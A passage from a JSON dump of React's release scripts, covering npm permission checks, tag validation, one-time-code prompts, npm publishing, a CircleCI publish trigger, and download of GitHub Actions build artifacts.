i < packages.length; i++) {\n    const packageName = packages[i];\n    const packageJSONPath = join(nodeModulesPath, packageName, 'package.json');\n    const packageJSON = await readJson(packageJSONPath);\n    console.log(\n      theme`\\n{package ${packageName}} {version ${versionsMap.get(\n        packageName\n      )}}`\n    );\n    printDependencies(packageJSON.dependencies, 'dependency');\n    printDependencies(packageJSON.peerDependencies, 'peer');\n  }\n  if (ci !== true) {\n    await confirm('Do the versions above look correct?');\n  }\n\n  clear();\n\n  if (packages.includes('react')) {\n    // We print the diff to the console for review,\n    // but it can be large so let's also write it to disk.\n    const diffPath = join(cwd, 'build', 'temp.diff');\n    let diff = '';\n    let numFilesModified = 0;\n\n    // Find-and-replace hardcoded version (in built JS) for renderers.\n    for (let i = 0; i < packages.length; i++) {\n      const packageName = packages[i];\n      const packagePath = join(nodeModulesPath, packageName);\n\n      let files = await execRead(\n        `find ${packagePath} -name '*.js' -exec echo {} \\\\;`,\n        {cwd}\n      );\n      files = files.split('\\n');\n      files.forEach(path => {\n        const newStableVersion = versionsMap.get(packageName);\n        const beforeContents = readFileSync(path, 'utf8', {cwd});\n        let afterContents = beforeContents;\n        // Replace all \"next\" version numbers (e.g. header @license).\n        while (afterContents.indexOf(version) >= 0) {\n          afterContents = afterContents.replace(version, newStableVersion);\n        }\n        if (beforeContents !== afterContents) {\n          numFilesModified++;\n          // Using a relative path for diff helps with the snapshot test\n          diff += printDiff(relative(cwd, path), beforeContents, afterContents);\n          writeFileSync(path, afterContents, {cwd});\n        }\n      });\n    }\n    writeFileSync(diffPath, diff, {cwd});\n    console.log(theme.header(`\\n${numFilesModified} files have been updated.`));\n    console.log(\n      theme`A full diff is available at {path ${relative(cwd, diffPath)}}.`\n    );\n    if (ci !== true) {\n      await confirm('Do the changes above look correct?');\n    }\n  } else {\n    console.log(\n      theme`Skipping React renderer version update because React is not included in the release.`\n    );\n  }\n\n  clear();\n};\n\n// Run this directly because logPromise would interfere with printing package dependencies.\nmodule.exports = run;\n"
  },
  {
    "path": "scripts/release/prepare-release-from-npm.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {join} = require('path');\nconst {getPublicPackages, handleError} = require('./utils');\n\nconst checkOutPackages = require('./prepare-release-from-npm-commands/check-out-packages');\nconst confirmStableVersionNumbers = require('./prepare-release-from-npm-commands/confirm-stable-version-numbers');\nconst getLatestNextVersion = require('./prepare-release-from-npm-commands/get-latest-next-version');\nconst guessStableVersionNumbers = require('./prepare-release-from-npm-commands/guess-stable-version-numbers');\nconst parseParams = require('./prepare-release-from-npm-commands/parse-params');\nconst printPrereleaseSummary = require('./shared-commands/print-prerelease-summary');\nconst testPackagingFixture = require('./shared-commands/test-packaging-fixture');\nconst updateStableVersionNumbers = require('./prepare-release-from-npm-commands/update-stable-version-numbers');\nconst theme = require('./theme');\n\nconst run = async () => {\n  try {\n    const params = parseParams();\n    params.cwd = join(__dirname, '..', '..');\n\n    const isExperimental = params.version.includes('experimental');\n\n    if (!params.version) {\n      params.version = await getLatestNextVersion();\n    }\n\n    if (params.onlyPackages.length > 0 && params.skipPackages.length > 0) {\n      console.error(\n        '--onlyPackages and --skipPackages cannot be used together'\n      );\n      process.exit(1);\n    }\n\n    params.packages = await getPublicPackages(isExperimental);\n    params.packages = params.packages.filter(packageName => {\n      if (params.onlyPackages.length > 0) {\n        return params.onlyPackages.includes(packageName);\n      }\n      return !params.skipPackages.includes(packageName);\n    });\n\n    // Map of package name to upcoming stable version.\n    // This Map is initially populated with guesses based on local versions.\n    // The developer running the release later confirms or overrides each version.\n    const versionsMap = new Map();\n\n    if (isExperimental) {\n      console.error(\n        theme.error`Cannot promote an experimental build to stable.`\n      );\n      process.exit(1);\n    }\n\n    await checkOutPackages(params);\n    await guessStableVersionNumbers(params, versionsMap);\n    await confirmStableVersionNumbers(params, versionsMap);\n    await updateStableVersionNumbers(params, versionsMap);\n\n    if (!params.skipTests) {\n      await testPackagingFixture(params);\n    }\n\n    await printPrereleaseSummary(params, true);\n  } catch (error) {\n    handleError(error);\n  }\n};\n\nrun();\n"
  },
  {
    "path": "scripts/release/publish-commands/check-npm-permissions.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {execRead, logPromise} = require('../utils');\nconst theme = require('../theme');\n\nconst run = async ({cwd, packages, version}) => {\n  const currentUser = await execRead('npm whoami');\n  const failedProjects = [];\n\n  const checkProject = async project => {\n    const owners = (await execRead(`npm owner ls ${project}`))\n      .split('\\n')\n      .filter(owner => owner)\n      .map(owner => owner.split(' ')[0]);\n\n    if (!owners.includes(currentUser)) {\n      failedProjects.push(project);\n    }\n  };\n\n  await logPromise(\n    Promise.all(packages.map(checkProject)),\n    theme`Checking NPM permissions for {underline ${currentUser}}.`\n  );\n\n  if (failedProjects.length) {\n    console.error(\n      theme`\n      {error Insufficient NPM permissions}\n      \\nNPM user {underline ${currentUser}} is not an owner for: ${failedProjects\n        .map(name => theme.package(name))\n        .join(', ')}\n      \\nPlease contact a React team member to be added to the above project(s).\n      `\n        .replace(/\\n +/g, '\\n')\n        .trim()\n    );\n    process.exit(1);\n  }\n};\n\nmodule.exports = run;\n"
  },
  {
    "path": "scripts/release/publish-commands/confirm-skipped-packages.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst clear = require('clear');\nconst {confirm} = require('../utils');\nconst theme = require('../theme');\n\nconst run = async ({cwd, packages, skipPackages, tags}) => {\n  if (skipPackages.length === 0) {\n    return;\n  }\n\n  clear();\n\n  console.log(\n    theme`{spinnerSuccess ✓} The following packages will not be published as part of this release`\n  );\n\n  skipPackages.forEach(packageName => {\n    console.log(theme`• {package ${packageName}}`);\n  });\n\n  await confirm('Do you want to proceed?');\n\n  clear();\n};\n\n// Run this directly because it's fast,\n// and logPromise would interfere with console prompting.\nmodule.exports = run;\n"
  },
  {
    "path": "scripts/release/publish-commands/confirm-version-and-tags.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst clear = require('clear');\nconst {readJson} = require('fs-extra');\nconst {join} = require('path');\nconst {confirm} = require('../utils');\nconst theme = require('../theme');\n\nconst run = async ({cwd, packages, tags, ci}) => {\n  clear();\n\n  if (tags.length === 0) {\n    console.error('Expected at least one tag.');\n    process.exit(1);\n  } else if (tags.length === 1) {\n    console.log(\n      theme`{spinnerSuccess ✓} You are about the publish the following packages under the tag {tag ${tags}}:`\n    );\n  } else {\n    console.log(\n      theme`{spinnerSuccess ✓} You are about the publish the following packages under the tags {tag ${tags.join(\n        ', '\n      )}}:`\n    );\n  }\n\n  for (let i = 0; i < packages.length; i++) {\n    const packageName = packages[i];\n    const packageJSONPath = join(\n      cwd,\n      'build/node_modules',\n      packageName,\n      'package.json'\n    );\n    const packageJSON = await readJson(packageJSONPath);\n    console.log(\n      theme`• {package ${packageName}} {version ${packageJSON.version}}`\n    );\n    if (ci) {\n      console.log(packageJSON);\n    }\n  }\n\n  if (!ci) {\n    await confirm('Do you want to proceed?');\n  }\n\n  clear();\n};\n\n// Run this directly because it's fast,\n// and logPromise would interfere with console prompting.\nmodule.exports = run;\n"
  },
  {
    "path": "scripts/release/publish-commands/parse-params.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst commandLineArgs = require('command-line-args');\nconst {splitCommaParams} = require('../utils');\n\nconst paramDefinitions = [\n  {\n    name: 'dry',\n    type: Boolean,\n    description: 'Dry run command without actually publishing to NPM.',\n    defaultValue: false,\n  },\n  {\n    name: 'tags',\n    type: String,\n    multiple: true,\n    description: 'NPM tags to point to the new release.',\n    defaultValue: ['untagged'],\n  },\n  {\n    name: 'onlyPackages',\n    type: String,\n    multiple: true,\n    description: 'Packages to include in publishing',\n    defaultValue: [],\n  },\n  {\n    name: 'skipPackages',\n    type: String,\n    multiple: true,\n    description: 'Packages to exclude from publishing',\n    defaultValue: [],\n  },\n  {\n    name: 'ci',\n    type: Boolean,\n    description: 'Run in automated environment, without interactive prompts.',\n    defaultValue: false,\n  },\n  {\n    name: 'publishVersion',\n    type: String,\n    description: 'Version to publish',\n  },\n];\n\nmodule.exports = () => {\n  const params = commandLineArgs(paramDefinitions);\n  splitCommaParams(params.skipPackages);\n  splitCommaParams(params.onlyPackages);\n  splitCommaParams(params.tags);\n  params.tags.forEach(tag => {\n    switch (tag) {\n      case 'latest':\n      case 'canary':\n      case 'next':\n      case 'experimental':\n      case 'alpha':\n      case 'beta':\n      case 'rc':\n      case 'untagged':\n        break;\n      default:\n        console.error('Unsupported tag: \"' + tag + '\"');\n        process.exit(1);\n        break;\n    }\n  });\n  return params;\n};\n"
  },
  {
    "path": "scripts/release/publish-commands/print-follow-up-instructions.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst clear = require('clear');\nconst {existsSync} = require('fs');\nconst {readJsonSync} = require('fs-extra');\nconst {join} = require('path');\nconst theme = require('../theme');\nconst {execRead} = require('../utils');\n\nconst run = async ({cwd, packages, tags}) => {\n  // Tags are named after the react version.\n  const {version} = readJsonSync(\n    `${cwd}/build/node_modules/react/package.json`\n  );\n\n  clear();\n\n  if (tags.length === 1 && tags[0] === 'next') {\n    console.log(\n      theme`{header A \"next\" release} {version ${version}} {header has been published!}`\n    );\n  } else if (tags.length === 1 && tags[0] === 'experimental') {\n    console.log(\n      theme`{header An \"experimental\" release} {version ${version}} {header has been published!}`\n    );\n  } else {\n    const nodeModulesPath = join(cwd, 'build/node_modules');\n\n    console.log(\n      theme.caution`The release has been published but you're not done yet!`\n    );\n\n    if (tags.includes('latest')) {\n      // All packages are built from a single source revision,\n      // so it is safe to read build info from any one of them.\n      const arbitraryPackageName = packages[0];\n      // FIXME: New build script does not output build-info.json. It's only used\n      // by this post-publish print job, and only for \"latest\" releases, so I've\n      // disabled it as a workaround so the publish script doesn't crash for\n      // \"next\" and \"experimental\" pre-releases.\n      const {commit} = readJsonSync(\n        join(\n          cwd,\n          'build',\n          'node_modules',\n          arbitraryPackageName,\n          'build-info.json'\n        )\n      );\n\n      console.log();\n      console.log(\n        theme.header`Please review and commit all local, staged changes.`\n      );\n\n      console.log();\n      console.log('Version numbers have been updated in the following files:');\n      for (let i = 0; i < packages.length; i++) {\n        const packageName = packages[i];\n        console.log(theme.path`• packages/%s/package.json`, packageName);\n      }\n      const status = await execRead(\n        'git diff packages/shared/ReactVersion.js',\n        {cwd}\n      );\n      if (status) {\n        console.log(theme.path`• packages/shared/ReactVersion.js`);\n      }\n\n      console.log();\n      console.log(\n        theme`{header Don't forget to also update and commit the }{path CHANGELOG}`\n      );\n\n      // Prompt the release engineer to tag the commit and update the CHANGELOG.\n      // (The script could automatically do this, but this seems safer.)\n      console.log();\n      console.log(\n        theme.header`Tag the source for this release in Git with the following command:`\n      );\n      console.log(\n        theme`  {command git tag -a v}{version %s} {command -m \"v%s\"} {version %s}`,\n        version,\n        version,\n        commit\n      );\n      console.log(theme.command`  git push origin --tags`);\n\n      console.log();\n      console.log(theme.header`Lastly, please fill in the release on GitHub.`);\n      console.log(\n        theme.link`https://github.com/facebook/react/releases/tag/v%s`,\n        version\n      );\n      console.log(\n        theme`\\nThe GitHub release should also include links to the following artifacts:`\n      );\n      for (let i = 0; i < packages.length; i++) {\n        const packageName = packages[i];\n        if (existsSync(join(nodeModulesPath, packageName, 'umd'))) {\n          const {version: packageVersion} = readJsonSync(\n            join(nodeModulesPath, packageName, 'package.json')\n          );\n          console.log(\n            theme`{path • %s:} {link https://unpkg.com/%s@%s/umd/}`,\n            packageName,\n            packageName,\n            packageVersion\n          );\n        }\n      }\n\n      // Update reactjs.org so the React version shown in the header is up to date.\n      console.log();\n      console.log(\n        theme.header`Once you've pushed changes, update the docs site.`\n      );\n      console.log(\n        'This will ensure that any newly-added error codes can be decoded.'\n      );\n\n      console.log();\n    }\n  }\n};\n\nmodule.exports = run;\n"
  },
  {
    "path": "scripts/release/publish-commands/prompt-for-otp.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst prompt = require('prompt-promise');\nconst theme = require('../theme');\n\nconst run = async () => {\n  while (true) {\n    const otp = await prompt('NPM 2-factor auth code: ');\n    prompt.done();\n\n    if (otp) {\n      return otp;\n    } else {\n      console.log();\n      console.log(theme.error`Two-factor auth is required to publish.`);\n      // (Ask again.)\n    }\n  }\n};\n\nmodule.exports = run;\n"
  },
  {
    "path": "scripts/release/publish-commands/publish-to-npm.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {spawnSync} = require('child_process');\nconst {exec} = require('child-process-promise');\nconst {readJsonSync} = require('fs-extra');\nconst {join} = require('path');\nconst {confirm} = require('../utils');\nconst theme = require('../theme');\n\nconst run = async ({cwd, dry, tags, ci}, packageName, otp) => {\n  const packagePath = join(cwd, 'build/node_modules', packageName);\n  const {version} = readJsonSync(join(packagePath, 'package.json'));\n\n  // Check if this package version has already been published.\n  // If so we might be resuming from a previous run.\n  // We could infer this by comparing the build-info.json,\n  // But for now the easiest way is just to ask if this is expected.\n  const {status} = spawnSync('npm', ['view', `${packageName}@${version}`]);\n  const packageExists = status === 0;\n  if (packageExists) {\n    console.log(\n      theme`{package ${packageName}} {version ${version}} has already been published.`\n    );\n    if (!ci) {\n      await confirm('Is this expected?');\n    }\n  } else {\n    console.log(\n      theme`{spinnerSuccess ✓} Publishing {package ${packageName}}${dry ? ' (dry-run)' : ''}`\n    );\n\n    // Publish the package and tag it.\n    if (!dry) {\n      if (!ci) {\n        await exec(`npm publish --tag=${tags[0]} --otp=${otp}`, {\n          cwd: packagePath,\n        });\n        console.log(theme.command(`  cd ${packagePath}`));\n        console.log(\n          theme.command(`  npm publish --tag=${tags[0]} --otp=${otp}`)\n        );\n      } else {\n        await exec(`npm publish --tag=${tags[0]}`, {\n          cwd: packagePath,\n        });\n        console.log(theme.command(`  cd ${packagePath}`));\n        console.log(theme.command(`  npm publish --tag=${tags[0]}`));\n      }\n    }\n\n    for (let j = 1; j < tags.length; j++) {\n      if (!dry) {\n        if (!ci) {\n          await exec(\n            `npm dist-tag add ${packageName}@${version} ${tags[j]} --otp=${otp}`,\n            {cwd: packagePath}\n          );\n          console.log(\n            theme.command(\n              `  npm dist-tag add ${packageName}@${version} ${tags[j]} --otp=${otp}`\n            )\n          );\n        } else {\n          await exec(`npm dist-tag add ${packageName}@${version} ${tags[j]}`, {\n            cwd: packagePath,\n          });\n          console.log(\n            theme.command(\n              `  npm dist-tag add ${packageName}@${version} ${tags[j]}`\n            )\n          );\n        }\n      }\n    }\n\n    if (tags.includes('untagged')) {\n      // npm doesn't let us publish without a tag at all,\n      // so for one-off publishes we clean it up ourselves.\n      if (!dry) {\n        if (!ci) {\n          await exec(`npm dist-tag rm ${packageName} untagged --otp=${otp}`);\n          console.log(\n            theme.command(\n              `  npm dist-tag rm ${packageName} untagged --otp=${otp}`\n            )\n          );\n        } else {\n          await exec(`npm dist-tag rm ${packageName} untagged`);\n          console.log(\n            theme.command(`  npm dist-tag rm ${packageName} untagged`)\n          );\n        }\n      }\n    }\n  }\n};\n\nmodule.exports = run;\n"
  },
  {
    "path": "scripts/release/publish-commands/update-stable-version-numbers.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {readFileSync, writeFileSync} = require('fs');\nconst {readJson, writeJson} = require('fs-extra');\nconst {join} = require('path');\n\nconst run = async ({cwd, packages, skipPackages, tags}) => {\n  if (!tags.includes('latest')) {\n    // Don't update version numbers for alphas.\n    return;\n  }\n\n  const nodeModulesPath = join(cwd, 'build/node_modules');\n  const packagesPath = join(cwd, 'packages');\n\n  // Update package versions and dependencies (in source) to mirror what was published to NPM.\n  for (let i = 0; i < packages.length; i++) {\n    const packageName = packages[i];\n    const publishedPackageJSON = await readJson(\n      join(nodeModulesPath, packageName, 'package.json')\n    );\n    const sourcePackageJSONPath = join(\n      packagesPath,\n      packageName,\n      'package.json'\n    );\n    const sourcePackageJSON = await readJson(sourcePackageJSONPath);\n    sourcePackageJSON.version = publishedPackageJSON.version;\n    sourcePackageJSON.dependencies = publishedPackageJSON.dependencies;\n    sourcePackageJSON.peerDependencies = publishedPackageJSON.peerDependencies;\n\n    await writeJson(sourcePackageJSONPath, sourcePackageJSON, {spaces: 2});\n  }\n\n  // Update the shared React version source file.\n  // (Unless this release does not include an update to React)\n  if (!skipPackages.includes('react')) {\n    const sourceReactVersionPath = join(cwd, 'packages/shared/ReactVersion.js');\n    const {version} = await readJson(\n      join(nodeModulesPath, 'react', 'package.json')\n    );\n    const sourceReactVersion = readFileSync(\n      sourceReactVersionPath,\n      'utf8'\n    ).replace(/export default '[^']+';/, `export default '${version}';`);\n    writeFileSync(sourceReactVersionPath, sourceReactVersion);\n  }\n};\n\nmodule.exports = run;\n"
  },
  {
    "path": "scripts/release/publish-commands/validate-skip-packages.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {readJson} = require('fs-extra');\nconst {join} = require('path');\nconst theme = require('../theme');\nconst {execRead} = require('../utils');\n\nconst readPackageJSON = async (cwd, name) => {\n  const packageJSONPath = join(\n    cwd,\n    'build',\n    'node_modules',\n    name,\n    'package.json'\n  );\n  return await readJson(packageJSONPath);\n};\n\nconst run = async ({cwd, packages, skipPackages}) => {\n  if (skipPackages.length === 0) {\n    return;\n  }\n\n  const validateDependencies = async (name, dependencies) => {\n    if (!dependencies) {\n      return;\n    }\n\n    for (let dependency in dependencies) {\n      // Do we depend on a package that has been skipped?\n      if (skipPackages.includes(dependency)) {\n        const version = dependencies[dependency];\n        // Do we depend on a version of the package that has not been published to NPM?\n        const info = await execRead(`npm view ${dependency}@${version}`);\n        if (!info) {\n          console.log(\n            theme`{error Package} {package ${name}} {error depends on an unpublished skipped package}`,\n            theme`{package ${dependency}}@{version ${version}}`\n          );\n          process.exit(1);\n        }\n      }\n    }\n  };\n\n  // Make sure none of the other packages depend on a skipped package,\n  // unless the dependency has already been published to NPM.\n  for (let i = 0; i < packages.length; i++) {\n    const name = packages[i];\n    const {dependencies, peerDependencies} = await readPackageJSON(cwd, name);\n\n    validateDependencies(name, dependencies);\n    validateDependencies(name, peerDependencies);\n  }\n};\n\nmodule.exports = run;\n"
  },
  {
    "path": "scripts/release/publish-commands/validate-tags.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {readJson} = require('fs-extra');\nconst {join} = require('path');\nconst theme = require('../theme');\n\nconst run = async ({cwd, packages, tags}) => {\n  // Prevent a \"next\" release from ever being published as @latest\n  // All canaries share a version number, so it's okay to check any of them.\n  const arbitraryPackageName = packages[0];\n  const packageJSONPath = join(\n    cwd,\n    'build',\n    'node_modules',\n    arbitraryPackageName,\n    'package.json'\n  );\n  const {version} = await readJson(packageJSONPath);\n  const isExperimentalVersion = version.indexOf('experimental') !== -1;\n  if (version.indexOf('-') !== -1) {\n    if (tags.includes('latest')) {\n      if (isExperimentalVersion) {\n        console.log(\n          theme`{error Experimental release} {version ${version}} {error cannot be tagged as} {tag latest}`\n        );\n      } else {\n        console.log(\n          theme`{error Next release} {version ${version}} {error cannot be tagged as} {tag latest}`\n        );\n      }\n      process.exit(1);\n    }\n    if (tags.includes('next') && isExperimentalVersion) {\n      console.log(\n        theme`{error Experimental release} {version ${version}} {error cannot be tagged as} {tag next}`\n      );\n      process.exit(1);\n    }\n    if (tags.includes('experimental') && !isExperimentalVersion) {\n      console.log(\n        theme`{error Next release} {version ${version}} {error cannot be tagged as} {tag experimental}`\n      );\n      process.exit(1);\n    }\n  } else {\n    if (!tags.includes('latest')) {\n      console.log(\n        theme`{error Stable release} {version ${version}} {error must always be tagged as} {tag latest}`\n      );\n      process.exit(1);\n    }\n    if (tags.includes('experimental')) {\n      console.log(\n        theme`{error Stable release} {version ${version}} {error cannot be tagged as} {tag experimental}`\n      );\n      process.exit(1);\n    }\n  }\n};\n\nmodule.exports = run;\n"
  },
  {
    "path": "scripts/release/publish-using-ci-workflow.js",
    "content": "'use strict';\n\nconst fetch = require('node-fetch');\n\nconst {logPromise} = require('./utils');\nconst theme = require('./theme');\n\nconst CIRCLE_TOKEN = process.env.CIRCLE_CI_API_TOKEN;\n\nif (!CIRCLE_TOKEN) {\n  console.error(\n    theme.error(\n      'Missing required environment variable: CIRCLE_CI_API_TOKEN\\n' +\n        'Grab it here: https://app.circleci.com/settings/user/tokens'\n    )\n  );\n  process.exit(1);\n}\n\nfunction sleep(ms) {\n  return new Promise(resolve => {\n    setTimeout(() => resolve(), ms);\n  });\n}\n\nasync function getPublishWorkflowID(pipelineID) {\n  // Since we just created the pipeline in a POST request, the server may 404.\n  // Try a few times before giving up.\n  for (let i = 0; i < 20; i++) {\n    const pipelineWorkflowsResponse = await fetch(\n      `https://circleci.com/api/v2/pipeline/${pipelineID}/workflow`\n    );\n    if (pipelineWorkflowsResponse.ok) {\n      const pipelineWorkflowsJSON = await pipelineWorkflowsResponse.json();\n      const workflows = pipelineWorkflowsJSON.items;\n      if (workflows.length !== 0) {\n        return workflows[0].id;\n      }\n    }\n    // CircleCI server may be stale. Wait a sec and try again.\n    await sleep(1000);\n  }\n  return null;\n}\n\nasync function pollUntilWorkflowFinishes(workflowID) {\n  while (true) {\n    const workflowResponse = await fetch(\n      `https://circleci.com/api/v2/workflow/${workflowID}`\n    );\n    const workflow = await workflowResponse.json();\n    switch (workflow.status) {\n      case 'running':\n        // Workflow still running. Wait a bit then check again.\n        await sleep(2000);\n        continue;\n      case 'success':\n        // Publish succeeded! Continue.\n        return;\n      case 'not_run':\n      case 'failed':\n      case 'error':\n      case 'failing':\n      case 'on_hold':\n      case 'canceled':\n      case 'unauthorized':\n      default:\n        console.error(\n          theme.error(\n            `Failed to publish. Workflow exited with status: ${workflow.status}`\n          )\n        );\n        console.error(\n          `Visit https://app.circleci.com/pipelines/workflows/${workflowID} for details.`\n        );\n        process.exit(1);\n        break;\n    }\n  }\n}\n\nasync function main() {\n  const headCommitResponse = await fetch(\n    'https://api.github.com/repos/facebook/react/commits/main'\n  );\n  const headCommitJSON = await headCommitResponse.json();\n  const headCommitSha = headCommitJSON.sha;\n\n  const pipelineResponse = await fetch(\n    'https://circleci.com/api/v2/project/github/facebook/react/pipeline',\n    {\n      method: 'post',\n      body: JSON.stringify({\n        parameters: {\n          prerelease_commit_sha: headCommitSha,\n        },\n      }),\n      headers: {\n        'Circle-Token': CIRCLE_TOKEN,\n        'Content-Type': 'application/json',\n      },\n    }\n  );\n\n  if (!pipelineResponse.ok) {\n    console.error(\n      theme.error(\n        `Failed to access CircleCI. Responded with status: ${pipelineResponse.status}`\n      )\n    );\n    process.exit(1);\n  }\n\n  const pipelineJSON = await pipelineResponse.json();\n  const pipelineID = pipelineJSON.id;\n\n  const workflowID = await logPromise(\n    getPublishWorkflowID(pipelineID),\n    theme`{header Creating CI workflow}`,\n    2 * 1000 // Estimated time: 2 seconds,\n  );\n\n  if (workflowID === null) {\n    console.warn(\n      theme.yellow(\n        'Created a CI pipeline to publish the packages, but the script timed ' +\n          \"out when requesting the associated workflow ID. It's still \" +\n          'possible the workflow was created.\\n\\n' +\n          'Visit ' +\n          'https://app.circleci.com/pipelines/github/facebook/react?branch=main ' +\n          'for a list of the latest workflows.'\n      )\n    );\n    process.exit(1);\n  }\n\n  await logPromise(\n    pollUntilWorkflowFinishes(workflowID),\n    theme`{header Publishing in CI workflow}: https://app.circleci.com/pipelines/workflows/${workflowID}`,\n    2 * 60 * 1000 // Estimated time: 2 minutes,\n  );\n}\n\nmain().catch(error => {\n  console.error(theme.error('Failed to trigger publish workflow.'));\n  console.error(error.message);\n  process.exit(1);\n});\n"
  },
  {
    "path": "scripts/release/publish.js",
    "content": "#!/usr/bin/env node\n\n'use strict';\n\nconst {join} = require('path');\nconst {readJsonSync} = require('fs-extra');\nconst clear = require('clear');\nconst {getPublicPackages, handleError} = require('./utils');\nconst theme = require('./theme');\n\nconst checkNPMPermissions = require('./publish-commands/check-npm-permissions');\nconst confirmSkippedPackages = require('./publish-commands/confirm-skipped-packages');\nconst confirmVersionAndTags = require('./publish-commands/confirm-version-and-tags');\nconst parseParams = require('./publish-commands/parse-params');\nconst printFollowUpInstructions = require('./publish-commands/print-follow-up-instructions');\nconst promptForOTP = require('./publish-commands/prompt-for-otp');\nconst publishToNPM = require('./publish-commands/publish-to-npm');\nconst updateStableVersionNumbers = require('./publish-commands/update-stable-version-numbers');\nconst validateTags = require('./publish-commands/validate-tags');\nconst validateSkipPackages = require('./publish-commands/validate-skip-packages');\n\nconst run = async () => {\n  try {\n    const params = parseParams();\n\n    const version =\n      params.publishVersion ??\n      readJsonSync('./build/node_modules/react/package.json').version;\n    const isExperimental = version.includes('experimental');\n\n    params.cwd = join(__dirname, '..', '..');\n    params.packages = await getPublicPackages(isExperimental);\n\n    if (params.onlyPackages.length > 0 && params.skipPackages.length > 0) {\n      console.error(\n        '--onlyPackages and --skipPackages cannot be used together'\n      );\n      process.exit(1);\n    }\n\n    if (params.onlyPackages.length > 0) {\n      params.packages = params.packages.filter(packageName => {\n        return params.onlyPackages.includes(packageName);\n      });\n    }\n\n    // Pre-filter any skipped packages to simplify the following commands.\n    // As part of doing this we can also validate that none of the skipped packages were misspelled.\n    params.skipPackages.forEach(packageName => {\n      const index = params.packages.indexOf(packageName);\n      if (index < 0) {\n        console.log(\n          theme`Invalid skip package {package ${packageName}} specified.`\n        );\n        process.exit(1);\n      } else {\n        params.packages.splice(index, 1);\n      }\n    });\n\n    await validateTags(params);\n    await confirmSkippedPackages(params);\n    await confirmVersionAndTags(params);\n    await validateSkipPackages(params);\n    await checkNPMPermissions(params);\n\n    const packageNames = params.packages;\n\n    if (params.ci) {\n      let failed = false;\n      for (let i = 0; i < packageNames.length; i++) {\n        try {\n          const packageName = packageNames[i];\n          await publishToNPM(params, packageName, null);\n        } catch (error) {\n          failed = true;\n          console.error(error.message);\n          console.log();\n          console.log(\n            theme.error`Publish failed. Will attempt to publish remaining packages.`\n          );\n        }\n      }\n      if (failed) {\n        console.log(theme.error`One or more packages failed to publish.`);\n        process.exit(1);\n      }\n    } else {\n      clear();\n      let otp = await promptForOTP(params);\n      for (let i = 0; i < packageNames.length; ) {\n        const packageName = packageNames[i];\n        try {\n          await publishToNPM(params, packageName, otp);\n          i++;\n        } catch (error) {\n          console.error(error.message);\n          console.log();\n          console.log(\n            theme.error`Publish failed. Enter a fresh otp code to retry.`\n          );\n          otp = await promptForOTP(params);\n          // Try publishing package again\n          continue;\n        }\n      }\n      await updateStableVersionNumbers(params);\n      await printFollowUpInstructions(params);\n    }\n  } catch (error) {\n    handleError(error);\n  }\n};\n\nrun();\n"
  },
  {
    "path": "scripts/release/shared-commands/download-build-artifacts.js",
    "content": "'use strict';\n\nconst {join} = require('path');\nconst theme = require('../theme');\nconst {exec} = require('child-process-promise');\nconst {existsSync, mkdtempSync, readFileSync} = require('fs');\nconst {logPromise} = require('../utils');\nconst os = require('os');\n\nif (process.env.GH_TOKEN == null) {\n  console.log(\n    theme`{error Expected GH_TOKEN to be provided as an env variable}`\n  );\n  process.exit(1);\n}\n\nconst OWNER = 'facebook';\nconst REPO = 'react';\nconst WORKFLOW_ID = 'runtime_build_and_test.yml';\nconst GITHUB_HEADERS = `\n  -H \"Accept: application/vnd.github+json\" \\\n  -H \"Authorization: Bearer ${process.env.GH_TOKEN}\" \\\n  -H \"X-GitHub-Api-Version: 2022-11-28\"`.trim();\n\nasync function executableIsAvailable(name) {\n  try {\n    await exec(`which ${name}`);\n    return true;\n  } catch (_error) {\n    return false;\n  }\n}\n\nfunction sleep(ms) {\n  return new Promise(resolve => setTimeout(resolve, ms));\n}\n\nfunction getWorkflowId() {\n  if (\n    existsSync(join(__dirname, `../../../.github/workflows/${WORKFLOW_ID}`))\n  ) {\n    return WORKFLOW_ID;\n  } else {\n    throw new Error(\n      `Incorrect workflow ID: .github/workflows/${WORKFLOW_ID} does not exist. Please check the name of the workflow being downloaded from.`\n    );\n  }\n}\n\nasync function getWorkflowRun(commit) {\n  const res = await exec(\n    `curl -L ${GITHUB_HEADERS} https://api.github.com/repos/${OWNER}/${REPO}/actions/workflows/${getWorkflowId()}/runs?head_sha=${commit}`\n  );\n\n  const json = JSON.parse(res.stdout);\n  const workflowRun = json.workflow_runs.find(run => run.head_sha === commit);\n\n  if (workflowRun == null || workflowRun.id == null) {\n    console.log(\n      theme`{error The workflow run for the specified commit (${commit}) could not be found.}`\n    );\n    process.exit(1);\n  }\n\n  return workflowRun;\n}\n\nasync function getArtifact(workflowRunId, artifactName) {\n  const res = await exec(\n    `curl -L ${GITHUB_HEADERS} https://api.github.com/repos/${OWNER}/${REPO}/actions/runs/${workflowRunId}/artifacts?per_page=100&name=${artifactName}`\n  );\n\n  const json = JSON.parse(res.stdout);\n  const artifact = json.artifacts.find(\n    _artifact => _artifact.name === artifactName\n  );\n\n  if (artifact == null) {\n    console.log(\n      theme`{error The specified workflow run (${workflowRunId}) does not contain any build artifacts.}`\n    );\n    process.exit(1);\n  }\n\n  return artifact;\n}\n\nasync function processArtifact(artifact, opts) {\n  // Download and extract artifact\n  const cwd = join(__dirname, '..', '..', '..');\n  const tmpDir = mkdtempSync(join(os.tmpdir(), 'react_'));\n  await exec(`rm -rf ./build`, {cwd});\n  await exec(\n    `curl -L ${GITHUB_HEADERS} ${artifact.archive_download_url} > artifacts_combined.zip`,\n    {\n      cwd: tmpDir,\n    }\n  );\n\n  if (opts.noVerify === true) {\n    console.log(theme`{caution Skipping verification of build artifact.}`);\n  } else {\n    // Use https://cli.github.com/manual/gh_attestation_verify to verify artifact\n    if (executableIsAvailable('gh')) {\n      await exec(\n        `gh attestation verify artifacts_combined.zip --repo=${OWNER}/${REPO}`,\n        {\n          cwd: tmpDir,\n        }\n      );\n    }\n  }\n\n  await exec(\n    `unzip ${tmpDir}/artifacts_combined.zip -d . && rm build2.tgz && tar 